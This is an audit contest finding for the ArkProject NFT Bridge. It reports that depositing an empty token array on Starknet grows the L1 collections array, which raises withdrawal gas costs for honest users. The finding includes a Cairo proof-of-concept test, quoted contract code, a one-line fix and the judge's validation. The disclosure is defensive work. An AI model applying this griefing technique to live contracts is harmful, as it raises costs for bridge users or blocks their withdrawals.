ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Gas grieving attack with bridging zero length array from L2 to L1

fyamf

Summary

Zero length array is possible to be bridged from L2 to L1, making the length of the array _collections on L1 long, so that users must pay extra gas when withdrawing on L1.

Vulnerability Details

It is possible to call the function deposit_tokens on L2 while token_ids is an array with length zero.

fn deposit_tokens(
ref self: ContractState,
salt: felt252,
collection_l2: ContractAddress,
owner_l1: EthAddress,
token_ids: Span<u256>,
use_withdraw_auto: bool,
use_deposit_burn_auto: bool,
) {
//....
let erc721_metadata = erc721_metadata(collection_l2, Option::Some(token_ids));
//....
escrow_deposit_tokens(ref self, collection_l2, from, token_ids);
//....
hash: compute_request_hash(salt, collection_l2, owner_l1, token_ids),
//....
}

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L247

As a result:

  • uris will be an array will length zero.

  • no token will be escrowed.

  • request hash will include an array with length zero

On L1 side, during withdrawal, no NFT will be withdrawn or minted since req.tokenIds.length is zero. Only if the associated L1-collection is not present, it will be deployed.

if (collectionL1 == address(0x0)) {
if (ctype == CollectionType.ERC721) {
collectionL1 = _deployERC721Bridgeable(
req.name,
req.symbol,
req.collectionL2,
req.hash
);
// update whitelist if needed
_whiteListCollection(collectionL1, true);
} else {
revert NotSupportedYetError();
}
}
​
for (uint256 i = 0; i < req.tokenIds.length; i++) {
uint256 id = req.tokenIds[i];
​
bool wasEscrowed = _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id);
​
if (!wasEscrowed) {
// TODO: perhaps, implement the same interface for ERC721 and ERC1155
// As we only want to deal with ERC1155 token with value = 1.
// Also, check what to do with URIs. If the URI storage is supported
// or not for ERC721. If supported, we may need to mint with an URI.
IERC721Bridgeable(collectionL1).mintFromBridge(req.ownerL1, id);
}
}

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L183-L210

A malicious user can apply the following grieving attack:

In summary, the malicious user bridges no NFT from L2 to L1 (without owning any NFT, so it makes the attack easy). Then, on L1, a new element will be added to the array _collections making it long enough so that later honest users must pay extra gas when they intend to withdraw their NFTs on L1.

Please note that on L1, it is disallowed to bridge zero-length array to L2.
https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L33

PoC

The following test shows depositing with zero length array on L2.

#[test]
fn deposit_token_zero_length_array() {
// Need to declare here to get the class hash before deploy anything.
let erc721b_contract_class = declare("erc721_bridgeable");
​
let BRIDGE_ADMIN = starknet::contract_address_const::<'starklane'>();
let BRIDGE_L1 = EthAddress { address: 'starklane_l1' };
let COLLECTION_OWNER = starknet::contract_address_const::<'collection owner'>();
let OWNER_L1 = EthAddress { address: 'owner_l1' };
​
let bridge_address = deploy_starklane(
BRIDGE_ADMIN, BRIDGE_L1, erc721b_contract_class.class_hash
);
​
let erc721b_address = deploy_erc721b(
erc721b_contract_class, "everai", "DUO", bridge_address, COLLECTION_OWNER
);
​
let bridge = IStarklaneDispatcher { contract_address: bridge_address };
​
let mut spy = spy_events(SpyOn::One(bridge_address));
start_prank(CheatTarget::One(bridge_address), COLLECTION_OWNER);
// zero length array![] is deposited
bridge.deposit_tokens(0x123, erc721b_address, OWNER_L1, array![].span(), false, false);
stop_prank(CheatTarget::One(bridge_address));
​
spy.fetch_events();
assert_eq!(spy.events.len(), 1, "Only 1 event");
let req_hash = compute_request_hash(0x123, erc721b_address, OWNER_L1, array![].span());
let (from, event) = spy.events.at(0);
assert!(from == @bridge_address, "Emitted from wrong address");
assert_eq!(event.keys.len(), 4, "There should be four keys");
assert!(
event.keys.at(0) == @event_name_hash('DepositRequestInitiated'), "Wrong event name"
);
assert_eq!(req_hash.low, (*event.keys.at(1)).try_into().unwrap(), "Wrong req hash");
assert_eq!(req_hash.high, (*event.keys.at(2)).try_into().unwrap(), "Wrong req hash");
let timestamp: u64 = (*event.keys.at(3)).try_into().unwrap();
assert_eq!(timestamp, starknet::info::get_block_timestamp(), "Wrong timestamp key");
}

Impact

  • Gas grieving attack

Tools Used

Recommendations

Bridging zero length array from L2 to L1 should be disallowed.

fn deposit_tokens(
ref self: ContractState,
salt: felt252,
collection_l2: ContractAddress,
owner_l1: EthAddress,
token_ids: Span<u256>,
use_withdraw_auto: bool,
use_deposit_burn_auto: bool,
) {
+ assert(token_ids.len() > 0, 'Zero length is not allowed');
//....
}

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L242

Updates

Lead Judging Commences

n0kto Lead Judge
10 months ago
n0kto Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-collections-always-withelisted-on-both-chain-withdraw-impossible-collections-array-will-be-OOG

Likelyhood: High, once the whitelist option is disabled, collections will grow. Impact: High, withdraw won’t be possible because of Out-Of-Gas.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.